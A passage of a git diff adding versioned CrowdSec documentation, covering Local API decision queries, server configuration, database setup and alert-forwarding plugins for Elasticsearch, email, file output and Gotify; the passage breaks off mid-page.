'939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Ip","type":"ban","value":"192.168.1.1"}] +``` + +```bash title="Query a single IP" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip=1.2.3.5 +null +``` + +```bash title="Query an IP contained in an existing ban" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?ip\=2.2.3.42 +[{"duration":"3h38m32.349736035s","id":2337,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Range","type":"ban","value":"2.2.3.0/24"}] +``` +_note: notice that the decision returned is the range that we banned earlier and that contains query ip_ + +### Query mode : Range + + +```bash title="Query a range in which one of the ban is contained" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range=1.2.3.0/24\&contains\=false +[{"duration":"3h48m7.676653651s","id":2336,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Ip","type":"ban","value":"192.168.1.1"}] +``` +_note: notice the `contains` flag that is set to false_ + +```bash +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range=1.2.3.0/24\&contains\=true +null +``` + +```bash title="Query a range which is contained by an existing ban" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?range\=2.2.3.1/25 +[{"duration":"3h30m24.773063133s","id":2337,"origin":"cscli","scenario":"manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"Range","type":"ban","value":"2.2.3.0/24"}] +``` + +### Query mode : non IP centric decisions + +While most people will use crowdsec to ban IPs or ranges, decisions can target other scopes and other decisions : + +```bash +▶ sudo cscli decisions add --scope username --value myuser --type enforce_mfa +INFO[0000] Decision successfully added +▶ sudo cscli decisions list ++------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | ++------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ +| 2338 | cscli | username:myuser | manual 'enforce_mfa' from | enforce_mfa | | | 1 | 3h59m55.384975175s | 1165 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +| 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 3h27m1.384972861s | 1164 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +| 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 3h26m54.384971268s | 1163 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | ++------+--------+------------------+----------------------------------------------------+-------------+---------+----+--------+--------------------+----------+ +``` + + + +```bash title="Query a decision on a given user" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?scope\=username\&value\=myuser +[{"duration":"3h57m59.021170481s","id":2338,"origin":"cscli","scenario":"manual 'enforce_mfa' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"username","type":"enforce_mfa","value":"myuser"}] +``` + + +```bash title="Query all decisions of a given type" +▶ curl -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions\?type\=enforce_mfa +[{"duration":"3h57m21.050290118s","id":2338,"origin":"cscli","scenario":"manual 'enforce_mfa' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'","scope":"username","type":"enforce_mfa","value":"myuser"}] + +``` + +## Stream mode + +The "streaming mode" of the API (which is actually more like polling) allows for bouncers that are going to fetch on a regular basis an update of the existing decisions. The endpoint is `/decisions/stream` with a single `startup` (boolean) argument. The argument allows to indicate if the bouncer wants the full state of decisions, or only an update since it last pulled. + + +Given the our state looks like : + +```bash +▶ sudo cscli decisions list ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ +| ID | SOURCE | SCOPE:VALUE | REASON | ACTION | COUNTRY | AS | EVENTS | EXPIRATION | ALERT ID | ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ +| 2337 | cscli | Range:2.2.3.0/24 | manual 'ban' from | ban | | | 1 | 2h55m26.05271136s | 1164 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | +| 2336 | cscli | Ip:192.168.1.1 | manual 'ban' from | ban | | | 1 | 2h55m19.052706441s | 1163 | +| | | | '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA' | | | | | | | ++------+--------+------------------+----------------------------------------------------+--------+---------+----+--------+--------------------+----------+ + +``` + +The first call to `/decisions/stream` will look like : + +```bash +▶ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=true | jq . +{ + "deleted": [ + { + "duration": "-18897h25m52.809576151s", + "id": 1, + "origin": "crowdsec", + "scenario": "crowdsecurity/http-probing", + "scope": "Ip", + "type": "ban", + "value": "123.206.50.249" + }, + ... + ], + "new": [ + { + "duration": "22h20m11.909761348s", + "id": 2266, + "origin": "CAPI", + "scenario": "crowdsecurity/http-sensitive-files", + "scope": "ip", + "type": "ban", + "value": "91.241.19.122/32" + }, + ... + ] +} +``` +_note: the initial state will contained passed deleted events (to account for crashes/services restart for example), and the current decisions, both local and those fed from the central API_ + + +:::info +You might notice that even you are requesting for the initial state, you receive a lot of "deleted" decisions. +This is intended to allow you to easily restart the local API without having a desynchronized state with the bouncers. +::: + + +```bash +▶ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=false | jq . +{ + "deleted": null, + "new": null +} +``` +_note: Calling the decisions/stream just after will lead to empty results, as no decisions have been added or deleted_ + + + +Let's now add a new decision : + +```bash +▶ sudo cscli decisions add -i 3.3.3.4 +INFO[0000] Decision successfully added +``` + +And call our endpoint again : + +```bash +▶ curl -s -H "X-Api-Key: 837be58e22a28738066de1be8f53636b" http://localhost:8080/v1/decisions/stream\?startup\=false | jq . +{ + "deleted": null, + "new": [ + { + "duration": "3h59m57.641708614s", + "id": 2410, + "origin": "cscli", + "scenario": "manual 'ban' from '939972095cf1459c8b22cc608eff85daEb4yoi2wiTD7Y3fA'", + "scope": "Ip", + "type": "ban", + "value": "3.3.3.4" + } + ] +} +``` + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/configuration.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/configuration.md new file mode 100644 index 000000000..760544ea0 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/configuration.md @@ -0,0 +1,117 @@ +--- +id: configuration +title: Configuration +sidebar_position: 6 +--- + + +## Configuration + +### Client + +By default, `crowdsec` and `cscli` use `127.0.0.1:8080` as the default Local API. However you might want to use a remote API and configure a different endpoint for your api client. + +#### Register to a Remote API server + +* On the machine you want to connect to a Local API server, run the following command: + +```bash +sudo cscli lapi register -u http://: +``` + +* On the Local API server, validate the machine by running the command: + + +```bash +sudo cscli machines list # to get the name of the new registered machine +``` + +```bash +sudo cscli machines validate +``` + +* Restart the CrowdSec service on the machine you registered once validated: + +```bash +sudo systemctl restart crowdsec +``` + +#### Disable the registered machine Local API + +On the machine you ran `cscli lapi register`, it optimal to disable the Local API component to save on resources since it is now forwarding all alerts/decisions to the Local API server. + +Within the `config.yaml` file, set `enable` under `api.server` to `false`: + +```yaml +api: + server: + enable: false +``` + +See where the `config.yaml` file is located on your operating system [here](/u/troubleshooting/security_engine#where-is-configuration-stored) + +### Server + +#### Configure listen URL + +If you would like your Local API to be used by a remote CrowdSec installation, you will need to modify the URL it listens on as by default it will listen on the loopback interface. + +Modify the [`listen_uri`](/configuration/crowdsec_configuration.md#listen_uri) option in the `config.yaml`. + +#### Enable SSL + +If your Local API is exposed to the internet, it is recommended to enable SSL or at least use a reverse proxy with SSL termination to secure the communication between the Log Processors / Remediation Components and the Local API. + +If your Log Processors and Remediation Components are apart of the same LAN or VPN, then this is not necessary step. + +##### Local API SSL + +You can configure the Local API to use SSL by setting the `tls` option under `api.server` in the `config.yaml` file. + +```yaml +api: + server: + tls: + cert_file: "/path/to/cert.pem" + key_file: "/path/to/key.pem" +``` + +:::info +If you are using a self signed certificate on connecting Log Processors and Remediation Components you must enable `insecure_skip_verify` options. +::: + +- Log Processors (machines) + +```yaml +api: + client: + insecure_skip_verify: true +``` + +- Remediation Components (bouncers) + +This can differ based on the configuration please refer to the documentation of the component you are using. + +If you would like to read the full configuration options for TLS on the Local API please [see here](/configuration/crowdsec_configuration.md#tls). + +You can also refer [here](/local_api/tls_auth.md) for the documentation about TLS authentication. + +##### Reverse Proxy + +We cannot cover all the reverse proxies available, please refer to the documentation of the reverse proxy you are using. However, the reverse proxy must send the connecting IP address as the `X-Forwarded-For` header to the Local API. + +However, when the Local API is behind a reverse proxy you will need to configure the `trusted_proxies` and `use_forwarded_for_headers` options under `api.server` within the `config.yaml` file to be able to get the correct IP address within the database. + +```yaml +api: + server: + use_forwarded_for_headers: true + trusted_proxies: + - "127.0.0.1" ## Change this to the proxy IP this is presuming the proxy is on the same machine +``` + +See where the `config.yaml` file is located on your operating system [here](/u/troubleshooting/security_engine#where-is-configuration-stored) + +See the [Local API public documentation](https://crowdsecurity.github.io/api_doc/lapi/). + + diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/database.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/database.md new file mode 100644 index 000000000..9da286807 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/database.md @@ -0,0 +1,61 @@ +--- +id: database +title: Databases +sidebar_position: 2 +--- + +By default, the CrowdSec Local API use `SQLite` as backend storage. In case you expect a lot of traffic on your Local API, you should use `MySQL`, `MariaDB` or `PostgreSQL`. + +For `SQLite`, there is nothing to do to make it work with CrowdSec. For `MySQL`, `MariaDB` and `PostgreSQL` , you need to create a database and an user. + +Please refer to [ent.](https://entgo.io/) [supported database](https://entgo.io/docs/dialects/). At the time of writing : + + - MySQL `5.6.35`, `5.7.26` and `8` + - MariaDB `10.2`, `10.3` and latest + - PostgreSQL `11`, `12`, `13`, `14` and `15` + - SQLite + - Gremlin + + +:::warning + +When switching an existing instance of CrowdSec to a new database backend, you need to register your machine(s) (ie. `cscli machines add -a`) and bouncer(s) to the new database, as data is not migrated. + +::: + +## MySQL and MariaDB + +Connect to your `MySQL` or `MariaDB` server and run the following commands: + +``` +mysql> CREATE DATABASE crowdsec; +mysql> CREATE USER 'crowdsec'@'%' IDENTIFIED BY ''; +mysql> GRANT ALL PRIVILEGES ON crowdsec.* TO 'crowdsec'@'%'; +mysql> FLUSH PRIVILEGES; +``` + +Then edit `/etc/crowdsec/config.yaml` to update the [`db_config`](/configuration/crowdsec_configuration.md#db_config) part. + +You can now start or restart CrowdSec. + +## PostgreSQL + +Connect to your `PostgreSQL` server and run the following commands: + +``` +postgres=# CREATE DATABASE crowdsec; +postgres=# CREATE USER crowdsec WITH PASSWORD ''; +postgres=# ALTER SCHEMA public owner to crowdsec; +postgres=# GRANT ALL PRIVILEGES ON DATABASE crowdsec TO crowdsec; +``` + +If you are running a version of PostgreSQL >= 15, you will also need to grant permission to create objects in the `public` schema: + +``` +postgres=# \c crowdsec +postgres=# GRANT CREATE on SCHEMA public TO crowdsec; +``` + +Then edit `/etc/crowdsec/config.yaml` to update the [`db_config`](/configuration/crowdsec_configuration.md#db_config) part. + +You can now start or restart CrowdSec. diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/intro.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/intro.md new file mode 100644 index 000000000..6719e8bd4 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/intro.md @@ -0,0 +1,45 @@ +--- +id: intro +title: Introduction +sidebar_position: 1 +--- + +# Local API + +The Local API (LAPI) is one of the core components of the Security Engine to : + + - Allow Log Processors to push alerts & decisions to a database + - Allow Remediation Components to consume said alerts & decisions from database + - Allow `cscli` to manage the database (list, delete, etc) + +You can find the swagger documentation [here](https://crowdsecurity.github.io/api_doc/lapi/). + +This allows you to create [multi-machines architectures](https://crowdsec.net/multi-server-setup/) around CrowdSec or leverage [orchestration technologies](https://crowdsec.net/secure-docker-compose-stacks-with-crowdsec/). + +All subcategories below are related to the Local API and its functionalities. If you are utilizing a multi server architecture, you will only need to configure the functionality that you want to use on the LAPI server. + +For example if you wish to receive notifications then you will only need to configure the Notification Plugins on the LAPI server and not each [log processor](log_processor/intro.mdx). + +## Authentication + +LAPI offers multiple different authentication methods, which has their own restrictions based on the method used. + +You can find more information about the authentication methods [here](local_api/authentication.md). + +## Profiles + +Profiles are a set of rules processed by the LAPI to determine if an alert should trigger a decision, notification or just simply log. They are processed in order of definition and can be used to make complex decisions based on the alert. + +You can find more information about profiles [here](local_api/profiles/intro.md). + +## Notification Plugins + +Notification plugins are used to send alerts to external services. + +You can find more information about configuring the plugins [here](local_api/notification_plugins/intro.md). + +## Databases + +Databases documentation showcases which database the LAPI supports and how to configure the database to allow the LAPI to utilize it. + +You can find more information about the databases [here](local_api/database.md). diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/elasticsearch.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/elasticsearch.md new file mode 100644 index 000000000..a0b691ed6 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/elasticsearch.md @@ -0,0 +1,427 @@ +--- +id: elastic +title: Elasticsearch +--- + +CrowdSec can forward Alerts to Elasticsearch using the HTTP plugin. This guide will show you how to configure the plugin to send alerts to your Elasticsearch instance. + +## Configuring the plugin + +By default the configuration for HTTP plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/http.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` + +Then replace the `url` and the `format` of the plugin's config so that it posts the events to your Elasticsearch instance. + +### Base configuration + +An example configuration: + +```yaml +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: debug # Options include: trace, debug, info, warn, error, off + +format: |- + {{ range .}} + {"index": { "_index": "crowdsec"} } + {{.|toJson}} + {{ end }} + +url: http://127.0.0.1:9200/_bulk + +method: POST +headers: + Content-Type: "application/json" +``` + + +### Authentication + +If you have enabled security on your elasticsearch cluster, you will have to add a custom `Authorization` header to be able to insert the events. + +Elasticsearch uses HTTP basic auth, so you can very easily generate the header value by running: +```shell +echo -n "LOGIN:PASSWORD" | base64 -w0 +``` + +Then add it to your configuration: + +```yaml +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: debug # Options include: trace, debug, info, warn, error, off + +format: |- + {{ range .}} + {"index": { "_index": "crowdsec"} } + {{.|toJson}} + {{ end }} + +url: http://127.0.0.1:9200/_bulk + +method: POST +headers: + Content-Type: "application/json" + Authorization: "Basic BASE64_GENERATED_PREVIOUSLY" +``` + + +### Self-Signed certificate + +If your elasticsearch cluster uses a self-signed certificate, you must set `skip_tls_verification` to `true` in your configuration: +```yaml +type: http + +name: http_default # this must match with the registered plugin in the profile +log_level: debug # Options include: trace, debug, info, warn, error, off + +format: |- + {{ range .}} + {"index": { "_index": "crowdsec"} } + {{.|toJson}} + {{ end }} + +url: http://127.0.0.1:9200/_bulk +skip_tls_verification: true +method: POST +headers: + Content-Type: "application/json" + +``` + +### Potential mapping issues + +If you are facing errors because mapper complains about field types inference, ie: + +``` +mapper [events.meta.value] cannot be changed from type [date] to [text] +``` + +You can create mapping in advance: + +```bash +#!/usr/bin/env bash + +curl -X PUT \ + --data "@index_template.json" \ + -u user:password \ + -H "Content-Type: application/json" \ + http://127.0.0.1:9200/_index_template/crowdsec +``` + +With a mapping such as: + +```json +{ + "version": 1, + "index_patterns": ["crowdsec*"], + "priority": 500, + "_meta": { + "description": "Crowdsec notification index template" + }, + "template": { + "settings": { + "number_of_shards": 1 + }, + "mappings": { + "properties": { + "capacity": { + "type": "integer" + }, + "decisions": { + "properties": { + "duration": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "origin": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "scenario": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "scope": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "type": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "value": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + } + } + }, + "events": { + "properties": { + "meta": { + "properties": { + "key": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "value": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + } + } + }, + "timestamp": { + "type": "date" + } + } + }, + "events_count": { + "type": "integer" + }, + "leakspeed": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "machine_id": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "message": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "remediation": { + "type": "boolean" + }, + "scenario": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "scenario_hash": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "scenario_version": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "simulated": { + "type": "boolean" + }, + "source": { + "properties": { + "as_number": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "cn": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "ip": { + "type": "ip" + }, + "latitude": { + "type": "float" + }, + "longitude": { + "type": "float" + }, + "scope": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + }, + "value": { + "type": "text", + "fields": { + "keyword": { + "type": "keyword", + "ignore_above": 256 + } + } + } + } + }, + "start_at": { + "type": "date" + }, + "stop_at": { + "type": "date" + } + } + } + } +} +``` + +And then use for example a daily index: + +```yaml +type: http + +name: elasticsearch +log_level: debug # Options include: trace, debug, info, warn, error, off + +format: |- + {{ range .}} + {"index": { "_index": "crowdsec-{{ substr 0 10 .StartAt }}"} } + {{.|toJson}} + {{ end }} +url: http://127.0.0.1:9200/_bulk + +method: POST +headers: + Content-Type: "application/json" + Authorization: "Basic [redacted]" +``` + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. + +``` +#notifications: +# - http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with http plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - http_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` + +You can verify whether the plugin is properly working by triggering scenarios using tools like wapiti, nikto and then checking whether they reeach Elasticsearch. \ No newline at end of file diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/email.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/email.md new file mode 100644 index 000000000..2ff9cc0f1 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/email.md @@ -0,0 +1,152 @@ +--- +id: email +title: Email Plugin +--- + +The Email plugin is shipped by default with CrowdSec. The following guide shows how to configure, test and enable it. + +## Configuring the plugin + +By default the configuration for Email plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/email.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/email.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\email.yaml` + +### Base configuration + +Here is the base configuration for the Email plugin: + +```yaml +type: email # Don't change +name: email_default # Must match the registered plugin in the profile + +# One of "trace", "debug", "info", "warn", "error", "off" +log_level: info + +# group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" +# group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" +# max_retry: # Number of attempts to relay messages to plugins in case of error +timeout: 20s # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" + +#------------------------- +# plugin-specific options + +# The following template receives a list of models.Alert objects +# The output goes in the email message body +format: | + + {{range . -}} + {{$alert := . -}} + {{range .Decisions -}} +

{{.Value}} will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine {{$alert.MachineID}}.

CrowdSec CTI

+ {{end -}} + {{end -}} + + +smtp_host: # example: smtp.gmail.com +smtp_username: # Replace with your actual username +smtp_password: # Replace with your actual password +smtp_port: # Common values are any of [25, 465, 587, 2525] +auth_type: # Valid choices are "none", "crammd5", "login", "plain" +sender_name: "CrowdSec" +sender_email: # example: foo@gmail.com +email_subject: "CrowdSec Notification" +receiver_emails: +# - email1@gmail.com +# - email2@gmail.com + +# One of "ssltls", "starttls", "none" +encryption_type: "ssltls" + +# If you need to set the HELO hostname: +# helo_host: "localhost" + +# If the email server is hitting the default timeouts (10 seconds), you can increase them here +# +# connect_timeout: 10s +# send_timeout: 10s + +--- + +# type: email +# name: email_second_notification +# ... +``` + +The `format` configuration directive is a [go template](https://pkg.go.dev/text/template), which receives a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +Typical port and TLS/SSL settings + +| Port | Encryption Type | +|------|-----------------| +| 25 | none | +| 465 | ssltls | +| 587 | starttls | + +:::warning +Port 25 should be avoided at all costs as it is commonly blocked by ISPs and email providers and is insecure as it sends in plain text. +::: + +:::info +Port settings above are common, but may vary depending on your email provider. Please refer to your email provider's documentation for the correct settings. +::: + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test email_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `email_default` plugin list item. + +``` +#notifications: +# - email_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `email_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with email plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - email_default +on_success: break +``` + +
+ +## Final Steps: + +Restart CrowdSec with the following command: + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/file.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/file.md new file mode 100644 index 000000000..cf09d1bd5 --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/file.md @@ -0,0 +1,136 @@ +--- +id: file +title: File Plugin +--- + +The File plugin is by default shipped with your CrowdSec installation and allows you to write Alerts to an external file that can be monitored by external applications. The following guide shows how to configure, test and enable it. + +## Configuring the plugin + +By default the configuration for Email plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/file.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/file.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\file.yaml` + +### Base configuration + +Example config which writes Alerts to a file using NDJson (**N**ewline **D**elimiter **J**ava**S**cript **O**bject **N**otation) format to `/tmp/crowdsec_alerts.json`. + +```yaml +# Don't change this +type: file + +name: file_default # this must match with the registered plugin in the profile +log_level: info # Options include: trace, debug, info, warn, error, off + +# This template render all events as ndjson +format: | + {{range . -}} + { "time": "{{.StopAt}}", "program": "crowdsec", "alert": {{. | toJson }} } + {{ end -}} + +# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s" +# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10" + +#Use full path EG /tmp/crowdsec_alerts.json +log_path: "/tmp/crowdsec_alerts.json" +rotate: + enabled: true # Change to false if you want to handle log rotate on system basis + max_size: 10 # in MB + max_files: 5 # Number of files to keep + max_age: 5 # in days but may remove files before this if max_files is reached + compress: true # Compress rotated files using gzip +``` + +**Note** that the `format` is a [go template](https://pkg.go.dev/text/template), which is fed a list of [Alert](https://pkg.go.dev/github.com/crowdsecurity/crowdsec@master/pkg/models#Alert) objects. + +:::warning +Some SIEM agents may not support some top level keys we define in the default ndjson format. Please make sure to adjust the format to match your SIEM agent's requirements. +::: + +### SIEM Integration + +:::warning +Please note if you change the format that is printed to the file you must also configure the collector on the SIEM side to also expect the same format +::: + +#### Filebeat + +Filebeat has a set of reserved top level keys and should not be used in the ndjson format. The following format can be used to be compatible with Filebeat: + +```yaml +format: | + {{range . -}} + { "time": "{{.StopAt}}", "source": "crowdsec", "alert": {{. | toJson }} } + {{ end -}} +``` +#### Wazuh + +Wazuh has set of reserved top level keys and may cause logs not to be sent by the agent. The following format can be used to be compatible with Wazuh: + +```yaml +format: | + {{range . -}} + { "crowdsec": { "time": "", "program": "crowdsec", "alert": {{. | toJson }} }} + {{ end -}} +``` + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test file_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `file_default` plugin list item. + +``` +#notifications: +# - file_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `file_default` with the new name. +::: + +:::warning +Ensure your YAML is properly formatted the `notifications` key should be at the top level of the profile. +::: + +
+ +Example profile with file plugin enabled + +```yaml +name: default_ip_remediation +#debug: true +filters: + - Alert.Remediation == true && Alert.GetScope() == "Ip" +decisions: + - type: ban + duration: 4h +#duration_expr: Sprintf('%dh', (GetDecisionsCount(Alert.GetValue()) + 1) * 4) +#highlight-next-line +notifications: +#highlight-next-line + - file_default +on_success: break +``` + +
+ +## Final Steps: + +Let's restart crowdsec + +```bash +sudo systemctl restart crowdsec +``` diff --git a/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/gotify.md b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/gotify.md new file mode 100644 index 000000000..e35dd33ee --- /dev/null +++ b/crowdsec-docs/versioned_docs/version-v1.7/local_api/notification_plugins/gotify.md @@ -0,0 +1,127 @@ +--- +id: gotify +title: Gotify +--- + +CrowdSec can forward Alerts to Gotify via the HTTP plugin. This guide will show you how to configure the HTTP plugin to send alerts to your Gotify instance. + +## Configuring the plugin + +By default the configuration for HTTP plugin is located at these default location per OS: + +- **Linux** `/etc/crowdsec/notifications/http.yaml` +- **FreeBSD** `/usr/local/etc/crowdsec/notifications/http.yaml` +- **Windows** `C:\ProgramData\CrowdSec\config\notifications\http.yaml` + +### Base configuration + +You can replace the file contents with the following configuration: + +Then replace the `` and the `` of the plugin's config so that it send the events to your Gotify instance. + +```yaml +type: http # Don't change +name: http_default # Must match the registered plugin in the profile + +# One of "trace", "debug", "info", "warn", "error", "off" +log_level: info + +# group_wait: # Time to wait collecting alerts before relaying a message to this plugin, eg "30s" +# group_threshold: # Amount of alerts that triggers a message before has expired, eg "10" +# max_retry: # Number of attempts to relay messages to plugins in case of error +# timeout: # Time to wait for response from the plugin before considering the attempt a failure, eg "10s" + +#------------------------- +# plugin-specific options + +# The following template receives a list of models.Alert objects +# The output goes in the http request body +format: | + {{ range . -}} + {{ $alert := . -}} + { + "extras": { + "client::display": { + "contentType": "text/markdown" + } + }, + "priority": 3, + {{range .Decisions -}} + "title": "{{.Type }} {{ .Value }} for {{.Duration}}", + "message": "{{.Scenario}} \n\n[crowdsec cti](https://app.crowdsec.net/cti/{{.Value -}}) \n\n[shodan](https://shodan.io/host/{{.Value -}})" + {{end -}} + } + {{ end -}} + +# The plugin will make requests to this url, eg: https://www.example.com/ +url: https:///message + +# Any of the http verbs: "POST", "GET", "PUT"... +method: POST + +headers: + X-Gotify-Key: + Content-Type: application/json +# skip_tls_verification: # true or false. Default is false +``` + +## Testing the plugin + +Before enabling the plugin it is best to test the configuration so the configuration is validated and you can see the output of the plugin. + +```bash +cscli notifications test http_default +``` + +:::note +If you have changed the `name` property in the configuration file, you should replace `http_default` with the new name. +::: + +## Enabling the plugin + +In your profiles you will need to uncomment the `notifications` key and the `http_default` plugin list item. + +``` +#notifications: +# - http_default +``` + +:::note +If you have 